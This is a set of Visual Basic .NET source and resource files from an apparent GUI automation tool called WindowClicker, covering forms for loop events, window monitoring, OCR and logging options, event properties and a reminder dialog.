--------------------------------------------------------------------------------
/WindowLicker/frmLoopEvent.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class frmLoopEvent
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Me.btnOK = New System.Windows.Forms.Button()
26 | Me.btnCancel = New System.Windows.Forms.Button()
27 | Me.lblStart = New System.Windows.Forms.Label()
28 | Me.lblEnd = New System.Windows.Forms.Label()
29 | Me.lblStep = New System.Windows.Forms.Label()
30 | Me.udStart = New System.Windows.Forms.NumericUpDown()
31 | Me.udEnd = New System.Windows.Forms.NumericUpDown()
32 | Me.udStep = New System.Windows.Forms.NumericUpDown()
33 | CType(Me.udStart, System.ComponentModel.ISupportInitialize).BeginInit()
34 | CType(Me.udEnd, System.ComponentModel.ISupportInitialize).BeginInit()
35 | CType(Me.udStep, System.ComponentModel.ISupportInitialize).BeginInit()
36 | Me.SuspendLayout()
37 | '
38 | 'btnOK
39 | '
40 | Me.btnOK.DialogResult = System.Windows.Forms.DialogResult.OK
41 | Me.btnOK.Location = New System.Drawing.Point(34, 103)
42 | Me.btnOK.Name = "btnOK"
43 | Me.btnOK.Size = New System.Drawing.Size(75, 23)
44 | Me.btnOK.TabIndex = 0
45 | Me.btnOK.Text = "OK"
46 | Me.btnOK.UseVisualStyleBackColor = True
47 | '
48 | 'btnCancel
49 | '
50 | Me.btnCancel.DialogResult = System.Windows.Forms.DialogResult.Cancel
51 | Me.btnCancel.Location = New System.Drawing.Point(119, 103)
52 | Me.btnCancel.Name = "btnCancel"
53 | Me.btnCancel.Size = New System.Drawing.Size(75, 23)
54 | Me.btnCancel.TabIndex = 1
55 | Me.btnCancel.Text = "Cancel"
56 | Me.btnCancel.UseVisualStyleBackColor = True
57 | '
58 | 'lblStart
59 | '
60 | Me.lblStart.AutoSize = True
61 | Me.lblStart.Location = New System.Drawing.Point(12, 13)
62 | Me.lblStart.Name = "lblStart"
63 | Me.lblStart.Size = New System.Drawing.Size(62, 13)
64 | Me.lblStart.TabIndex = 2
65 | Me.lblStart.Text = "Start Value:"
66 | '
67 | 'lblEnd
68 | '
69 | Me.lblEnd.AutoSize = True
70 | Me.lblEnd.Location = New System.Drawing.Point(12, 39)
71 | Me.lblEnd.Name = "lblEnd"
72 | Me.lblEnd.Size = New System.Drawing.Size(59, 13)
73 | Me.lblEnd.TabIndex = 3
74 | Me.lblEnd.Text = "End Value:"
75 | '
76 | 'lblStep
77 | '
78 | Me.lblStep.AutoSize = True
79 | Me.lblStep.Location = New System.Drawing.Point(12, 68)
80 | Me.lblStep.Name = "lblStep"
81 | Me.lblStep.Size = New System.Drawing.Size(32, 13)
82 | Me.lblStep.TabIndex = 4
83 | Me.lblStep.Text = "Step:"
84 | '
85 | 'udStart
86 | '
87 | Me.udStart.Location = New System.Drawing.Point(95, 13)
88 | Me.udStart.Maximum = New Decimal(New Integer() {999999, 0, 0, 0})
89 | Me.udStart.Minimum = New Decimal(New Integer() {999999, 0, 0, -2147483648})
90 | Me.udStart.Name = "udStart"
91 | Me.udStart.Size = New System.Drawing.Size(87, 20)
92 | Me.udStart.TabIndex = 5
93 | '
94 | 'udEnd
95 | '
96 | Me.udEnd.Location = New System.Drawing.Point(95, 39)
97 | Me.udEnd.Maximum = New Decimal(New Integer() {999999, 0, 0, 0})
98 | Me.udEnd.Minimum = New Decimal(New Integer() {999999, 0, 0, -2147483648})
99 | Me.udEnd.Name = "udEnd"
100 | Me.udEnd.Size = New System.Drawing.Size(87, 20)
101 | Me.udEnd.TabIndex = 6
102 | Me.udEnd.Value = New Decimal(New Integer() {10, 0, 0, 0})
103 | '
104 | 'udStep
105 | '
106 | Me.udStep.Location = New System.Drawing.Point(95, 66)
107 | Me.udStep.Maximum = New Decimal(New Integer() {999999, 0, 0, 0})
108 | Me.udStep.Minimum = New Decimal(New Integer() {999999, 0, 0, -2147483648})
109 | Me.udStep.Name = "udStep"
110 | Me.udStep.Size = New System.Drawing.Size(87, 20)
111 | Me.udStep.TabIndex = 7
112 | Me.udStep.Value = New Decimal(New Integer() {1, 0, 0, 0})
113 | '
114 | 'frmLoopEvent
115 | '
116 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
117 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
118 | Me.ClientSize = New System.Drawing.Size(206, 135)
119 | Me.Controls.Add(Me.udStep)
120 | Me.Controls.Add(Me.udEnd)
121 | Me.Controls.Add(Me.udStart)
122 | Me.Controls.Add(Me.lblStep)
123 | Me.Controls.Add(Me.lblEnd)
124 | Me.Controls.Add(Me.lblStart)
125 | Me.Controls.Add(Me.btnCancel)
126 | Me.Controls.Add(Me.btnOK)
127 | Me.MaximizeBox = False
128 | Me.MinimizeBox = False
129 | Me.Name = "frmLoopEvent"
130 | Me.Text = "Loop Event"
131 | CType(Me.udStart, System.ComponentModel.ISupportInitialize).EndInit()
132 | CType(Me.udEnd, System.ComponentModel.ISupportInitialize).EndInit()
133 | CType(Me.udStep, System.ComponentModel.ISupportInitialize).EndInit()
134 | Me.ResumeLayout(False)
135 | Me.PerformLayout()
136 |
137 | End Sub
138 | Friend WithEvents btnOK As System.Windows.Forms.Button
139 | Friend WithEvents btnCancel As System.Windows.Forms.Button
140 | Friend WithEvents lblStart As System.Windows.Forms.Label
141 | Friend WithEvents lblEnd As System.Windows.Forms.Label
142 | Friend WithEvents lblStep As System.Windows.Forms.Label
143 | Friend WithEvents udStart As System.Windows.Forms.NumericUpDown
144 | Friend WithEvents udEnd As System.Windows.Forms.NumericUpDown
145 | Friend WithEvents udStep As System.Windows.Forms.NumericUpDown
146 | End Class
147 |
--------------------------------------------------------------------------------
/WindowLicker/frmLoopEvent.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/WindowLicker/frmLoopEvent.vb:
--------------------------------------------------------------------------------
1 | ' WindowClicker - GUI Automater
2 | ' Copyright (C) 2014 Nick Dunn
3 | '
4 | ' This program is free software: you can redistribute it and/or modify
5 | ' it under the terms of the GNU General Public License as published by
6 | ' the Free Software Foundation, either version 3 of the License, or
7 | ' (at your option) any later version.
8 | '
9 | ' This program is distributed in the hope that it will be useful,
10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | ' GNU General Public License for more details.
13 | '
14 | ' You should have received a copy of the GNU General Public License
15 | ' along with this program. If not, see .
16 |
17 | Option Explicit On
18 |
19 | Public Class frmLoopEvent
20 |
21 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs) Handles btnCancel.Click
22 | Me.Close()
23 | End Sub
24 |
25 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click
26 | ' If we have valid values then create a new event in main form
27 | '=============================================================
28 |
29 | If udStep.Value = 0 Then
30 | ' Invalid step size
31 | MsgBox("Invalid step size: Choose a non-zero value!", MsgBoxStyle.OkOnly, "Error")
32 | ElseIf (udStart.Value > udEnd.Value And udStep.Value > -1) Or (udStart.Value < udEnd.Value And udStep.Value < 1) Then
33 | ' Invalid values for a functioning loop
34 | MsgBox("Invalid values: Insert valid values to allow the loop to execute!", MsgBoxStyle.OkOnly, "Error")
35 | Else
36 | ' Valid settings
37 | frmMain.NewLoopData.StartVal = udStart.Value
38 | frmMain.NewLoopData.EndVal = udEnd.Value
39 | frmMain.NewLoopData.StepVal = udStep.Value
40 |
41 | frmMain.blnIsLoop = True
42 |
43 | Me.Close()
44 | End If
45 |
46 | End Sub
47 |
48 | End Class
--------------------------------------------------------------------------------
/WindowLicker/frmNewWindows.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class frmNewWindows
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(frmNewWindows))
26 | Me.btnAdd = New System.Windows.Forms.Button()
27 | Me.btnOK = New System.Windows.Forms.Button()
28 | Me.btnDelete = New System.Windows.Forms.Button()
29 | Me.lvNewWindow = New System.Windows.Forms.ListView()
30 | Me.chTitle = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
31 | Me.chFullTitle = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
32 | Me.SuspendLayout()
33 | '
34 | 'btnAdd
35 | '
36 | Me.btnAdd.Location = New System.Drawing.Point(5, 405)
37 | Me.btnAdd.Name = "btnAdd"
38 | Me.btnAdd.Size = New System.Drawing.Size(75, 23)
39 | Me.btnAdd.TabIndex = 0
40 | Me.btnAdd.Text = "Add..."
41 | Me.btnAdd.UseVisualStyleBackColor = True
42 | '
43 | 'btnOK
44 | '
45 | Me.btnOK.Location = New System.Drawing.Point(306, 404)
46 | Me.btnOK.Name = "btnOK"
47 | Me.btnOK.Size = New System.Drawing.Size(75, 23)
48 | Me.btnOK.TabIndex = 1
49 | Me.btnOK.Text = "OK"
50 | Me.btnOK.UseVisualStyleBackColor = True
51 | '
52 | 'btnDelete
53 | '
54 | Me.btnDelete.Location = New System.Drawing.Point(86, 405)
55 | Me.btnDelete.Name = "btnDelete"
56 | Me.btnDelete.Size = New System.Drawing.Size(75, 23)
57 | Me.btnDelete.TabIndex = 3
58 | Me.btnDelete.Text = "Delete"
59 | Me.btnDelete.UseVisualStyleBackColor = True
60 | '
61 | 'lvNewWindow
62 | '
63 | Me.lvNewWindow.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.chTitle, Me.chFullTitle})
64 | Me.lvNewWindow.Location = New System.Drawing.Point(5, 5)
65 | Me.lvNewWindow.Name = "lvNewWindow"
66 | Me.lvNewWindow.Size = New System.Drawing.Size(377, 394)
67 | Me.lvNewWindow.TabIndex = 4
68 | Me.lvNewWindow.UseCompatibleStateImageBehavior = False
69 | Me.lvNewWindow.View = System.Windows.Forms.View.Details
70 | '
71 | 'chTitle
72 | '
73 | Me.chTitle.Text = "Window Title"
74 | Me.chTitle.Width = 264
75 | '
76 | 'chFullTitle
77 | '
78 | Me.chFullTitle.Text = "Match Full Title?"
79 | Me.chFullTitle.Width = 107
80 | '
81 | 'frmNewWindows
82 | '
83 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
84 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
85 | Me.ClientSize = New System.Drawing.Size(386, 432)
86 | Me.Controls.Add(Me.lvNewWindow)
87 | Me.Controls.Add(Me.btnDelete)
88 | Me.Controls.Add(Me.btnOK)
89 | Me.Controls.Add(Me.btnAdd)
90 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
91 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
92 | Me.MaximizeBox = False
93 | Me.MinimizeBox = False
94 | Me.Name = "frmNewWindows"
95 | Me.Text = "New Window Monitor"
96 | Me.ResumeLayout(False)
97 |
98 | End Sub
99 | Friend WithEvents btnAdd As System.Windows.Forms.Button
100 | Friend WithEvents btnOK As System.Windows.Forms.Button
101 | Friend WithEvents btnDelete As System.Windows.Forms.Button
102 | Friend WithEvents lvNewWindow As System.Windows.Forms.ListView
103 | Friend WithEvents chTitle As System.Windows.Forms.ColumnHeader
104 | Friend WithEvents chFullTitle As System.Windows.Forms.ColumnHeader
105 | End Class
106 |
--------------------------------------------------------------------------------
/WindowLicker/frmNewWindows.vb:
--------------------------------------------------------------------------------
1 | ' Copyright (C) 2014 Nick Dunn
2 | '
3 | ' This program is free software: you can redistribute it and/or modify
4 | ' it under the terms of the GNU General Public License as published by
5 | ' the Free Software Foundation, either version 3 of the License, or
6 | ' (at your option) any later version.
7 | '
8 | ' This program is distributed in the hope that it will be useful,
9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | ' GNU General Public License for more details.
12 | '
13 | ' You should have received a copy of the GNU General Public License
14 | ' along with this program. If not, see .
15 |
16 | Option Explicit On
17 |
18 | Public Class frmNewWindows
19 |
20 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs)
21 | Me.Dispose()
22 | End Sub
23 |
24 | Private Sub btnAdd_Click(sender As System.Object, e As System.EventArgs) Handles btnAdd.Click
25 | ' Get new window details from user, add to collection and and to listview
26 | '========================================================================
27 |
28 | ' Get details
29 | frmAddWindow.ShowDialog(Me)
30 |
31 | ' Clear listview
32 | lvNewWindow.Clear()
33 |
34 | ' Get new listing
35 | ShowNewWindowList()
36 |
37 | End Sub
38 |
39 | Private Sub btnDelete_Click(sender As System.Object, e As System.EventArgs) Handles btnDelete.Click
40 | ' Delete currently selected item(s)
41 | '==================================
42 |
43 | If lvNewWindow.SelectedItems.Count < 1 Then Exit Sub
44 |
45 | For Each lviItem As ListViewItem In lvNewWindow.SelectedItems
46 | NewWindows.Remove(lviItem.Name)
47 | lvNewWindow.Items.Remove(lviItem)
48 | Next
49 |
50 | End Sub
51 |
52 | Private Sub ShowNewWindowList()
53 | ' Show the current list of new windows that the will be tracked by the GUI monitor
54 | '=================================================================================
55 | Dim lviItem As ListViewItem
56 |
57 |
58 | For Each nwNewWindow As NewWindow In NewWindows.Values
59 |
60 | '== Create new listvieitem and add details ==
61 | lviItem = New ListViewItem
62 | lviItem.Name = nwNewWindow.WindowTitle
63 | lviItem.Text = nwNewWindow.WindowTitle
64 | lviItem.SubItems.Add(nwNewWindow.IsFullTitle)
65 |
66 | '== Add finished item to listview ==
67 | lvNewWindow.Items.Add(lviItem)
68 | Next
69 |
70 | End Sub
71 |
72 | Private Sub frmNewWindows_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
73 | ShowNewWindowList()
74 | End Sub
75 |
76 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click
77 | ' Activate GUIMonitor if required and close form
78 | '===============================================
79 |
80 | '== Activate monitor if required ==
81 | IsGuiMonitor = ((NewWindows.Count > 0) Or (MonitoredWindows.Count > 0) Or (frmMain.SnipCount > 0))
82 |
83 | frmMain.timTimer.Enabled = IsGuiMonitor
84 | frmMain.ActivateGUIMonitorToolStripMenuItem.Checked = IsGuiMonitor
85 |
86 | Me.Dispose()
87 |
88 | End Sub
89 |
90 | End Class
--------------------------------------------------------------------------------
/WindowLicker/frmOptions.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 17, 17
122 |
123 |
--------------------------------------------------------------------------------
/WindowLicker/frmOptions.vb:
--------------------------------------------------------------------------------
1 | ' WindowClicker - GUI Automater
2 | ' Copyright (C) 2014 Nick Dunn
3 | '
4 | ' This program is free software: you can redistribute it and/or modify
5 | ' it under the terms of the GNU General Public License as published by
6 | ' the Free Software Foundation, either version 3 of the License, or
7 | ' (at your option) any later version.
8 | '
9 | ' This program is distributed in the hope that it will be useful,
10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | ' GNU General Public License for more details.
13 | '
14 | ' You should have received a copy of the GNU General Public License
15 | ' along with this program. If not, see .
16 |
17 | Option Explicit On
18 |
19 | Public Class frmOptions
20 |
21 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs) Handles btnCancel.Click
22 | Me.Dispose()
23 | End Sub
24 |
25 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click
26 | ' Save data and close form
27 | '=========================
28 |
29 | With frmMain
30 | .intPause = udPause.Value
31 | .intDefaultRepeat = udRepeat.Value
32 |
33 | .blnIsGlobalSelectAll = chkSelectAll.Checked
34 | .blnIsGlobalDeselectAll = chkDeselectAll.Checked
35 |
36 | ' GUI Monitor
37 | IsGuiMonitor = chkEnableGuiMon.Checked
38 | If chkTerminate.Checked Then
39 | TerminateOnFirstChange = cboConditions.SelectedIndex = 0
40 | TerminateOnAllChange = Not TerminateOnFirstChange
41 | Else
42 | TerminateOnFirstChange = False
43 | TerminateOnAllChange = False
44 | End If
45 | MonitorInterval = udGuiMonitor.Value
46 |
47 | ' Log settings
48 | .blnIsAutoSave = (cbSave.Checked And cboFile.Text.Trim <> "")
49 | .strLogFile = cboFile.Text
50 |
51 | ' OCR settings
52 | If cboTesseract.Text.Trim <> "" Then trTextReader.TesseractLocation = cboTesseract.Text.Trim
53 | If txtArgs.Text.Trim <> "" Then trTextReader.TesseractArgs = txtArgs.Text.Trim
54 | If cboScreenshot.Text.Trim <> "" Then trTextReader.ImageDirectory = cboScreenshot.Text.Trim
55 | End With
56 |
57 | Me.Dispose()
58 |
59 | End Sub
60 |
61 | Private Sub frmOptions_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
62 | ' Load data from main form
63 | '=========================
64 |
65 | With frmMain
66 | ' Pause settings
67 | udPause.Value = .intPause
68 | udRepeat.Value = .intDefaultRepeat
69 |
70 | ' Select behaviour for text controls
71 | chkSelectAll.Checked = .blnIsGlobalSelectAll
72 | chkDeselectAll.Checked = .blnIsGlobalDeselectAll
73 |
74 | ' GUI Monitor
75 | chkEnableGuiMon.Checked = IsGuiMonitor
76 | chkTerminate.Checked = TerminateOnFirstChange Or TerminateOnAllChange
77 | If chkTerminate.Checked And TerminateOnFirstChange Then
78 | cboConditions.SelectedIndex = 0
79 | Else
80 | cboConditions.SelectedIndex = 1
81 | End If
82 | udGuiMonitor.Value = MonitorInterval
83 |
84 | ' Log settings
85 | cbSave.Checked = .blnIsAutoSave
86 | cboFile.Text = .strLogFile
87 |
88 | ' OCR settings
89 | cboTesseract.Text = trTextReader.TesseractLocation
90 | txtArgs.Text = trTextReader.TesseractArgs
91 | cboScreenshot.Text = trTextReader.ImageDirectory
92 | End With
93 |
94 | End Sub
95 |
96 | Private Sub chkSelectAll_CheckedChanged(sender As System.Object, e As System.EventArgs) Handles chkSelectAll.CheckedChanged
97 | ' Although both boxes can be unchecked, they cannot both be checked at once
98 | '==========================================================================
99 |
100 | If chkSelectAll.Checked Then chkDeselectAll.Checked = False
101 |
102 | End Sub
103 |
104 | Private Sub chkDeselectAll_CheckedChanged(sender As System.Object, e As System.EventArgs) Handles chkDeselectAll.CheckedChanged
105 | ' Although both boxes can be unchecked, they cannot both be checked at once
106 | '==========================================================================
107 |
108 | If chkDeselectAll.Checked Then chkSelectAll.Checked = False
109 |
110 | End Sub
111 |
112 | Private Sub btnBrowse_Click(sender As System.Object, e As System.EventArgs) Handles btnBrowse.Click
113 | ' Set log location using OpenFile dialog
114 | '=======================================
115 |
116 |
117 |
118 | End Sub
119 |
120 | Private Sub btnTesseract_Click(sender As System.Object, e As System.EventArgs) Handles btnTesseract.Click
121 | ' Set OCR location using OpenFile dialog
122 | '=======================================
123 |
124 |
125 |
126 | End Sub
127 |
128 | Private Sub btnScreenShot_Click(sender As System.Object, e As System.EventArgs) Handles btnScreenShot.Click
129 | ' Set screenshot location using OpenDir dialog
130 | '=============================================
131 |
132 |
133 | End Sub
134 |
135 | End Class
--------------------------------------------------------------------------------
/WindowLicker/frmProperties.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 17, 17
122 |
123 |
--------------------------------------------------------------------------------
/WindowLicker/frmProperties.vb:
--------------------------------------------------------------------------------
1 | ' WindowClicker - GUI Automater
2 | ' Copyright (C) 2014 Nick Dunn
3 | '
4 | ' This program is free software: you can redistribute it and/or modify
5 | ' it under the terms of the GNU General Public License as published by
6 | ' the Free Software Foundation, either version 3 of the License, or
7 | ' (at your option) any later version.
8 | '
9 | ' This program is distributed in the hope that it will be useful,
10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | ' GNU General Public License for more details.
13 | '
14 | ' You should have received a copy of the GNU General Public License
15 | ' along with this program. If not, see .
16 |
17 | Option Explicit On
18 |
19 | Public Class frmProperties
20 |
21 | Private Const TREE_VIEW As Integer = 1
22 | Private Const LIST_VIEW As Integer = 2
23 |
24 | '== Record whether name as changed for Dictionary entry ==
25 | Public strOriginalName As String = ""
26 |
27 | '== Record which item is to be changed ==
28 | Public intContext As Integer
29 | Public strKey As String
30 |
31 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click
32 | ' Save new settings and close form
33 | '=================================
34 |
35 | UpdateItem(txtName.Text)
36 | Me.Dispose()
37 |
38 | End Sub
39 |
40 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs) Handles btnCancel.Click
41 | Me.Dispose()
42 | End Sub
43 |
44 | Private Sub frmProperties_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
45 | ' Load data from dictionary
46 | '==========================
47 | Dim geEvent As New GuiEvent
48 |
49 | '== Form just loaded so name hasn't changed yet ==
50 | txtName.Text = strOriginalName
51 |
52 | '== Get data for this dictionary item ==
53 | geEvent = GuiEvents.Item(strOriginalName)
54 | With geEvent
55 | cboEventType.SelectedIndex = .EventType
56 | udRepeat.Value = .Repeat
57 | udX.Value = .X
58 | udY.Value = .Y
59 | chkSelectAll.Checked = .SelectAll
60 | chkDeselectAll.Checked = .DeselectAll
61 |
62 | 'Item data
63 | txtStatic.Text = .StaticText
64 | txtFile.Text = .DataFile
65 | udStart.Value = .LoopData.StartVal
66 | udEnd.Value = .LoopData.EndVal
67 | udStep.Value = .LoopData.StepVal
68 |
69 | ' Show relevant data
70 | Select Case .EventType
71 | Case GuiEvent.PASTE_FILE_DATA
72 | tcData.SelectedTab = tcData.TabPages(1)
73 | Case GuiEvent.PASTE_LOOP_NUMBER
74 | tcData.SelectedTab = tcData.TabPages(2)
75 | Case Else
76 | tcData.SelectedTab = tcData.TabPages(0)
77 | End Select
78 |
79 | End With
80 |
81 | End Sub
82 |
83 | Private Sub UpdateItem(ByVal ItemName As String)
84 | ' Save new settings to collection
85 | '================================
86 | Dim geEvent As New GuiEvent
87 |
88 |
89 | '== Set data for this item ==
90 | With geEvent
91 | .EventType = cboEventType.SelectedIndex
92 | .Repeat = udRepeat.Value
93 | .X = udX.Value
94 | .Y = udY.Value
95 |
96 | .SelectAll = chkSelectAll.Checked
97 | .DeselectAll = chkDeselectAll.Checked
98 |
99 | 'Item data
100 | .StaticText = txtStatic.Text
101 | .DataFile = txtFile.Text
102 | .LoopData.StartVal = udStart.Value
103 | .LoopData.EndVal = udEnd.Value
104 | .LoopData.StepVal = udStep.Value
105 | End With
106 |
107 | '== Has the item's name changed? ==
108 | If strOriginalName <> ItemName Then
109 | GuiEvents.Add(ItemName, geEvent)
110 |
111 | '== Make any necessary amendments to the list of copied items ==
112 | If CopiedEvents.Keys.Contains(strOriginalName) = False Then
113 | GuiEvents.Remove(strOriginalName)
114 | Else
115 | CopiedEvents.Item(strOriginalName) -= 1
116 | If CopiedEvents.Item(strOriginalName) = 0 Then GuiEvents.Remove(strOriginalName)
117 | End If
118 |
119 | '== Reflect any changes in the GUI ==
120 | If intContext = TREE_VIEW Then
121 | frmMain.tvEvent.Nodes(strKey).Name = ItemName
122 | ElseIf intContext = LIST_VIEW Then
123 | frmMain.lvDetail.Items(strKey).Name = ItemName
124 | End If
125 | Else
126 | '== Modify the existing item ==
127 | GuiEvents.Item(strOriginalName) = geEvent
128 | End If
129 |
130 | End Sub
131 |
132 | Private Sub chkSelectAll_CheckedChanged(sender As System.Object, e As System.EventArgs) Handles chkSelectAll.CheckedChanged
133 | ' Although both boxes can be unchecked, they cannot both be checked at once
134 | '==========================================================================
135 |
136 | If chkSelectAll.Checked Then chkDeselectAll.Checked = False
137 |
138 | End Sub
139 |
140 | Private Sub chkDeselectAll_CheckedChanged(sender As System.Object, e As System.EventArgs) Handles chkDeselectAll.CheckedChanged
141 | ' Although both boxes can be unchecked, they cannot both be checked at once
142 | '==========================================================================
143 |
144 | If chkDeselectAll.Checked Then chkSelectAll.Checked = False
145 |
146 | End Sub
147 |
148 | End Class
--------------------------------------------------------------------------------
/WindowLicker/frmReminder.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class frmReminder
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Me.chkNotAgain = New System.Windows.Forms.CheckBox()
26 | Me.lblReminder = New System.Windows.Forms.Label()
27 | Me.btnOK = New System.Windows.Forms.Button()
28 | Me.SuspendLayout()
29 | '
30 | 'chkNotAgain
31 | '
32 | Me.chkNotAgain.AutoSize = True
33 | Me.chkNotAgain.Location = New System.Drawing.Point(7, 58)
34 | Me.chkNotAgain.Name = "chkNotAgain"
35 | Me.chkNotAgain.Size = New System.Drawing.Size(180, 17)
36 | Me.chkNotAgain.TabIndex = 5
37 | Me.chkNotAgain.Text = "Do not show this reminder again."
38 | Me.chkNotAgain.UseVisualStyleBackColor = True
39 | '
40 | 'lblReminder
41 | '
42 | Me.lblReminder.Location = New System.Drawing.Point(4, 6)
43 | Me.lblReminder.Name = "lblReminder"
44 | Me.lblReminder.Size = New System.Drawing.Size(330, 40)
45 | Me.lblReminder.TabIndex = 4
46 | Me.lblReminder.Text = "No OCR application is present on the OCR path. Text recognition will not function" & _
47 | " unless a valid application path is provided using the Options dialog."
48 | '
49 | 'btnOK
50 | '
51 | Me.btnOK.Location = New System.Drawing.Point(257, 77)
52 | Me.btnOK.Name = "btnOK"
53 | Me.btnOK.Size = New System.Drawing.Size(75, 23)
54 | Me.btnOK.TabIndex = 3
55 | Me.btnOK.Text = "OK"
56 | Me.btnOK.UseVisualStyleBackColor = True
57 | '
58 | 'frmReminder
59 | '
60 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
61 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
62 | Me.ClientSize = New System.Drawing.Size(338, 106)
63 | Me.Controls.Add(Me.chkNotAgain)
64 | Me.Controls.Add(Me.lblReminder)
